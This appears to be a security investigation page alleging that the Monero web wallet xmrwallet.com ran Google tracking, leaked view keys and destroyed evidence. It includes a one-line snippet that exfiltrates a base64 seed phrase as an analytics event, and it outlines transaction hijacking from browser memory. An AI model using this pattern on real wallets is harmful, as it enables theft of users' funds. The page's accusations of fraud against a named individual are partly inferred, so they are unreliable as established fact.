xmrwallet.com loaded Google's dynamic tagging infrastructure (gtag.js), 4 tracking property IDs, Google Ads Conversion Linker, and a DoubleClick pixel on a Monero wallet for 4+ years. The site's Content Security Policy blocked nothing. DDoS-Guard stored visitor IPs in plaintext cookies. No other cryptocurrency wallet in the industry does any of this. Here is the evidence.
A technical clarification: xmrwallet.com loaded googletagmanager.com/gtag/js (the Global Site Tag loader), not the classic gtm.js container. The distinction is cosmetic. Both are remotely-managed JavaScript frameworks that fetch configuration from Google's servers at runtime, execute dynamic code in the browser, and cannot be pinned to a fixed hash (no SRI). Both can be reconfigured server-side without any change to the site's code. In this document, "GTM/gtag" refers to this entire dynamic tagging infrastructure.
This is not an analytics script. It is a remote code injection platform.
Live chat widgets. Trustpilot review popups. Facebook Pixel. A/B testing. Heatmaps. Conversion tracking.
These are legitimate marketing tools for pages that don't handle sensitive data.
Read seed phrases from DOM. Override fetch() to intercept API calls. Exfiltrate private keys as GA event labels. Control Math.random() to predetermine key generation. Target specific users by country, referrer, or cookie value.
All of this without changing a single line of the wallet's code.
The difference between analytics and GTM:
The operator's website, GitHub repository, and Terms & Conditions make specific technical claims. Network traffic captures contradict every one of them.
| What He Claims (in his own code/site) | What Network Traffic Shows | Source |
|---|---|---|
| "Your seed is never transmitted, received or stored." | Private view key transmitted in Base64 on every API call (40+ per session) via session_key parameter to 8 PHP endpoints |
Live capture Feb 2026 |
| "Everything happens locally in your browser." | Google's gtag.js executes in the same browser context as the wallet. Code delivered via Google's infrastructure can: (a) read spend_key from JS memory and hijack transactions — user clicks "Send 300 XMR" but gtag.js-delivered code builds a tx sending the full balance to the operator's address, signs it locally with the in-memory spend_key, and the UI shows "Success"; or (b) exfiltrate seed phrase at wallet creation via GA event labels (gtag('event','backup',{label:btoa(seed)})) — Google's servers then hold the stolen keys. |
Live capture + URLScan |
| "We do not track you." (site footer) | 4 Google tracking IDs. 9 cookies. Google Ads Conversion Linker. DoubleClick pixel. 28 requests to Google per session. | 63 URLScan scans |
| "Open source" (links to GitHub) | Production site has 8 PHP endpoints absent from GitHub. session_key parameter not in public repo. Code differs from deployed version. |
Code comparison |
| "TOR/Proxy Friendly. Anonymous." (app.html dialog) | DDoS-Guard cookie __ddg9_ stores visitor IP in plaintext. Google Analytics receives IP on every request. |
URLScan cookies tab |
description_risk_xmrwallet_text: "no tracking" (in app.js source) |
The same page loads googletagmanager.com/gtag/js 12 times per session |
app.js + live capture |
If the operator genuinely wanted analytics (page views, traffic stats), he could use:
app.html is a Single Page Application. Internal navigation (login → create → dashboard → send → receive) happens via hash changes (#/login.html, #/create.html, #/dashboard.html), not page reloads. This means:
URLScan results for xmrwallet.com show varying request counts and tracking IDs across scans of the same URL on the same day. This is not random — it is the expected behavior of dynamic tagging with evasion configuration. Three mechanisms explain every observed variation:
The operator logs into their Google Analytics/gtag dashboard, adds or removes tracking properties, and publishes. The wallet's HTML, CSS, and visual UI remain 100% identical — but the invisible JavaScript executed in the victim's browser changes instantly. The different Google IDs found across URLScan scans (sometimes 2, sometimes 4) are simply different historical states of the operator's remote Google configuration.
Google's tagging platforms allow operators to set Triggers — conditions that determine when scripts fire. The operator could configure tracking to activate only for:
_ga cookie exists = returning visitor, not first-time scanner)This explains why some URLScan results show 33–42 requests with Google tracking, while others of the same page show fewer. The scanner is seeing different trigger states — the operator's configuration decides who gets tracked and who doesn't.
The server runs PHP/8.2.29 (confirmed in response headers). PHP can serve visually identical HTML but conditionally inject or omit the <script> tag that loads Google's infrastructure based on:
| ID | Type | First Seen | Last Seen | Found In |
|---|---|---|---|---|
| UA-116766241-1 | Universal Analytics | Oct 2021 | Feb 17, 2026 | HTML source (Wayback + 63 URLScan results) |
| G-E3T1T1VKD1 | GA4 | Jan 2024 | Feb 17, 2026 | URLScan HTTP transactions (loaded dynamically by gtag.js) |
| G-TDYCP6N15B | GA4 | Seen in scan 019c7609 | Additional GA4 property (testing/rotation) | |
| G-X9L39PK0C8 | GA4 | Seen in scan 019c7609 | Additional GA4 property (testing/rotation) | |
| Cookie | Set By | What It Does |
|---|---|---|
| _ga | Google Analytics | Unique visitor ID, persists 2 years. Tracks return visits. |
| _gid | Google Analytics | Session ID. 24-hour profiling. |
| _ga_E3T1T1VKD1 | GA4 | GA4 session cookie. Confirms G-E3T1T1VKD1 property active. |
| _gat_gtag_UA_116766241_1 | GTM/UA | Rate limiter. Proves GTM + UA integration active. |
| _gcl_au | Google Ads | Conversion Linker. Tracks which paid ad campaign brought the visitor. The operator was buying victims via Google Ads. |
| __ddg1_ | DDoS-Guard | WAF session token. |
| __ddg8_ | DDoS-Guard | WAF authentication. |
| __ddg9_ | DDoS-Guard | Visitor's IP address in plaintext. Value: 217.138.216.158 |
| __ddg10_ | DDoS-Guard | Timestamp. |
Source: URLScan.io scan 019c605d-4a6d-71ab-82a1-df03ef60ae9a (Feb 15, 2026) — behaviour tab, cookies section.
script-src 'nonce-xxx' 'strict-dynamic' —
even if GTM were present, injected scripts would be blocked without a valid nonce.
For 4+ years, every xmrwallet.com session generated 28+ requests to Google servers. Google received:
| Data | How Google Got It | Implication |
|---|---|---|
| Every page visit inside the wallet | GA pageview events | Google knows who uses a Monero wallet |
| Browser fingerprint (screen, timezone, language, OS) | GA client hints | User re-identifiable across sessions |
| IP address | Every HTTP request to analytics.google.com | Geographic location, ISP, potentially identity |
| Which ad brought the user | _gcl_au + Google Ads conversion data | Full acquisition funnel tracked |
| Session behavior (time on page, clicks, scroll) | GA4 enhanced measurement | Behavioral profiling of wallet users |
| Return frequency | _ga persistent Client ID (2-year) | "Is this user coming back to check their balance?" |
| Potentially: seed phrases, private keys | GTM Custom HTML can send any data as GA event labels | If used, Google's databases contain stolen keys |
We scanned every major web-based cryptocurrency wallet on URLScan.io. The result is unambiguous:
| Wallet | Type | Requests | Google IDs | Tracking Cookies | CSP | URLScan |
|---|---|---|---|---|---|---|
| Ian Coleman BIP39 | Key generator | 1 | 0 | 0 | N/A (static) | 019dfffa |
| MyMonero | Monero web wallet | 13 | 0 | 0 | Cloudflare | 0199729f |
| MyEtherWallet | Ethereum web wallet | 5 | 0 | 0 | Cloudflare | 019bd152 |
| Guarda /app | Multi-currency wallet | 51 scripts | 0 | 0 | Isolated from landing | Live May 2026 |
| Blockchain.com login | BTC/ETH web wallet | 77 | 1 (GA4) | Yes | nonce + strict-dynamic | 019e1c5a |
| xmrwallet.com | Monero web wallet | 33–42 | 4 | 9 (incl Ads, IP) | EMPTY | 019c605d |
GTM-N5WZTMXC) on their marketing landing page — that's normal.
But when you enter /app where keys are handled: zero tracking, zero cookies, zero external scripts.
Marketing and key management are properly isolated. This is how it's supposed to work.
xmrwallet.com did the opposite: GTM on the same domain, same origin, same session as the seed phrase input.
The pattern is visible in the scan data itself:
Since our investigation began, the operator has systematically erased evidence across every platform. The Google tracking code was removed within 72 hours. Now URLScan results are being targeted.
| Period | Main Page Requests | Google IDs | Status |
|---|---|---|---|
| Jan 2024 → Feb 15, 2026 | 33–42 | UA-116766241-1 + G-E3T1T1VKD1 | Active tracking |
| Feb 19, 2026 | 2 | None | All tracking erased (72 hrs after notice) |
| Feb 21 → Apr 10, 2026 | 26 | None | Redirect to xmrwallet.cc |
| Apr 20 → present | 2 | None | Site effectively dead |
All 100 URLScan result pages have been downloaded as full HTML archives. Key scans:
UA-116766241-1
and linked properties (G-E3T1T1VKD1, G-TDYCP6N15B, G-X9L39PK0C8) would reveal:This simulation shows what happened during every xmrwallet.com session. Every step is based on captured network traffic and URLScan evidence.
In April 2026, the operator published a "Brief Letter and Final Update." Below is our response. Not to convince the operator — that is pointless — but to document the lies for the public record.
From their Terms of Service (archived Dec 2023):
This contradicts their own opening statement: "Our services provides in-browser monero blockchain access and generates new seeds client-side."
If the view key is sent to the server and "stored in memory" — the architecture is server-side scanning, not client-side. Every legitimate Monero wallet (Monero GUI, Feather, Monerujo, Cake Wallet) scans the blockchain locally using WebAssembly or native code. The view key never leaves the device.
The operator knew this from day one. Their own Reddit posts boasted about being "more private than MyMonero" — while running 4 Google tracking IDs and sending the view key to a server behind Russian DDoS-Guard infrastructure.
The ToS was clearly written without legal review, in broken English suggesting OCR artifacts or machine translation. This is a direct marker of a fraudulent service pretending to be Canadian:
| What they wrote | What they meant | Section |
|---|---|---|
| Laws can be aspirated | Laws can be arbitrated | 14 |
| hold harness | hold harmless | 13 |
| maximum extern | maximum extent | 2 |
| validly exiting | validly existing | 1 |
| obfusticated | obfuscated | 4 |
| severalty | severability | 15 |
The person who registered as a Canadian government official (Nathalie Roy) couldn't write basic English legal terms. These aren't typos — they're markers of someone who doesn't operate in English legal systems.
Previous communications: Best Regards, Nathalie or just — N. Reddit responses to victims signed as Nathalie. Now, in the farewell letter:
No longer Nathalie. No longer a person. "The Creator." They understand investigations are active. They understand the name is burned. The shift from personal identity to abstract title is not humility — it's legal distancing.
The farewell letter performs ignorance. This is characteristic of a specific scam culture:
These rationalizations are how scam operators sleep at night. They don't withstand 30 seconds of technical scrutiny.
After our investigation began documenting the Google tracking IDs via URLScan.io, the operator started requesting deletion of scans that showed the tracking infrastructure. 63 public scans documented the presence of gtag.js, Google Ads, and DoubleClick on a "privacy wallet." The operator knows that no legitimate wallet runs these scripts. Deleting the evidence doesn't make it disappear — we archived everything, and we reconstructed the mechanism:
Since the operator is deleting scans, we built an exact replica of the theft mechanism. Same request structure. Same session_key format. Same view key exfiltration. Even the same Google tracking ID (data goes to their property — they can change it in our operator panel).
13 requests — 10 to Google (googletagmanager, analytics, doubleclick, ads)
Google Ads Conversion Linker active. DoubleClick cross-tracking. Remarketing pixel. On a "privacy wallet."
7 requests — 0 to Google. Clean source code. No analytics.
But every request contains session_key with the base64-encoded view key. The theft happens silently.
The demo includes:
For security professionals, this is obvious. For everyone else:
gtag.js is a dynamic loader — it fetches updated payloads from Google at runtime, ignoring SRI. Embedding this in a zone where private keys exist is a voluntary backdoor for RCE. The wallet code can change at any second without deployment.
connect-src 'self'). Embedding gtag.js requires opening CSP for google-analytics.com and doubleclick.net. Wallet security now depends on the security of Google's advertising infrastructure. Any ad pixel vulnerability or compromised marketer account leads to instant spend_key theft from browser memory.
Anyone with minimal security knowledge understands that CORS policies, CSP headers, and script isolation of a wallet claiming "privacy by design" are fundamentally incompatible with loading advertising infrastructure. The app page didn't have the tracker in the source — correct. But it wasn't isolated. And we demonstrated exactly how this works.
After understanding there was a federal investigation, Namesilo:
The operator believes they're a genius because they stole a lot of money — possibly more than the annual budget of their hometown. They believe that because the investigation didn't immediately spell out the exact theft method, we didn't know. Seriously?
As we have said before: no sense of remorse, no understanding of what they did and what they have done will come until there is a search/arrest warrant and they are stripped of access to the stolen money. Then, perhaps (we doubt it), they will remember that they do not run the world. This applies to both overconfident parties — possibly the same person.
All URLScan scans, Wayback snapshots, and competitor comparisons archived locally and on IPFS. 100 scans + 6 snapshots + 5 competitor wallets = immutable evidence.
Live Demo: xmrwallet-demo.pages.dev • URLScan #1 (GA) • URLScan #2 (no GA)
Original analysis: phishdestroy.github.io/DO-NOT-USE-xmrwallet-com
Related: Full GTM Forensic Timeline • Reddit Suppression Evidence • Investigation Hub